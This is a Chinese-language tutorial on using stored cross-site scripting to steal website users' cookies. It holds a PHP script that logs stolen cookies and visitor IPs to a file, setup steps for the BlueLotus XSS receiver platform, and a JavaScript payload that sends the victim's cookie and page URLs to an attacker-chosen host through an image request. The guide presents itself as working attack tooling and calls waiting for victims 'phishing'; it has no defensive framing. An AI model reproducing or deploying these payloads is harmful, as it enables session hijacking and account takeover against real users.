利用储存形XSS获取用户cookie

# 目录
[TOC]
# 利用储存形XSS获取用户cookie

## 一、手工获取

以下语句可以弹出用户cookie

```js
<script> alert(document.cookie) </script>
```

需要接收xss的服务端码

需要get提交一个cookie，会存入文件cookie.txt内

```php
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
```

## 二、通过xss平台

### 1、BlueLotus_XSSReceiver

#### 1.1下载配置

[源码地址](https://gitee.com/ctccaozhe/BlueLotus_XSSReceiver)

放在服务器下面，这个版本是不需要数据库只需要php环境和服务器中间件

用某面板可以快速搭建php环境，我这里用的是php7.2版本

[![img](https://raw.githubusercontent.com/ctccaozhe/f_jpg/master/uPic/image-202007151130349981594789373972.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151130349981594789373972.png)

在根目录下get源码`git clone https://gitee.com/ctccaozhe/BlueLotus_XSSReceiver`

[![img](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151131548441594789386786.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151131548441594789386786.png)

挪到根目录下`mv * ../`

[![img](https://raw.githubusercontent.com/ctccaozhe/f_jpg/master/uPic/image-202007151132343561594789464120.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151132343561594789464120.png)

修改文件权限

```
sudo chown -R www:www ./sudo chmod 777 -R ./
```

[![img](https://raw.githubusercontent.com/ctccaozhe/f_jpg/master/uPic/image-202007151133182381594789477521.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151133182381594789477521.png)

#### 1.2安装

直接浏览http://10.10.10.155:82/install.php进入安装页面

[![img](https://raw.githubusercontent.com/ctccaozhe/f_jpg/master/uPic/image-202007151135586081594789490649.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151135586081594789490649.png)

推荐配置，后台登入密码不能忘记了

[![img](https://raw.githubusercontent.com/ctccaozhe/f_jpg/master/uPic/image-202007151140051571594789512325.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151140051571594789512325.png)

提交之后就可以登入了

#### 1.3使用方法

添加我的js

[![img](https://raw.githubusercontent.com/ctccaozhe/f_jpg/master/uPic/image-202007151142586931594789528122.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151142586931594789528122.png)

不要忘记修改网站地址为此地址

```javascript
var website = "http://网站地址";
(function() {
    (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&toplocation=' + escape((function() {
        try {
            return top.location.href
        } catch (e) {
            return ''
        }
    })()) + '&cookie=' + escape((function() {
        try {
            return document.cookie
        } catch (e) {
            return ''
        }
    })()) + '&opener=' + escape((function() {
        try {
            return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
        } catch (e) {
            return ''
        }
    })());
})();
```

生成payload

[![img](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151145282791594789535478.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151145282791594789535478.png)

插入在xss

[![img](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151146516921594789546705.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151146516921594789546705.png)

等待钓鱼

查看返回值

[![img](https://raw.githubusercontent.com/ctccaozhe/f_jpg/master/uPic/image-202007151147464071594789556956.png)](https://saas.bk-cdn.com/8fbde4a1-8dda-41b8-a3f7-53fe266fba50/image-202007151147464071594789556956.png)

完成！

### 2、XSS Platform

下载`git clone https://github.com/ctccaozhe/xssplatform.git`

挪到根目录下`mv * ../`

修改文件权限

```
sudo chown -R www:www ./
```

因为之前尝试识别，具体的安装过程就不演示了，官方文档[点这里](https://github.com/ctccaozhe/xssplatform/blob/master/README.md)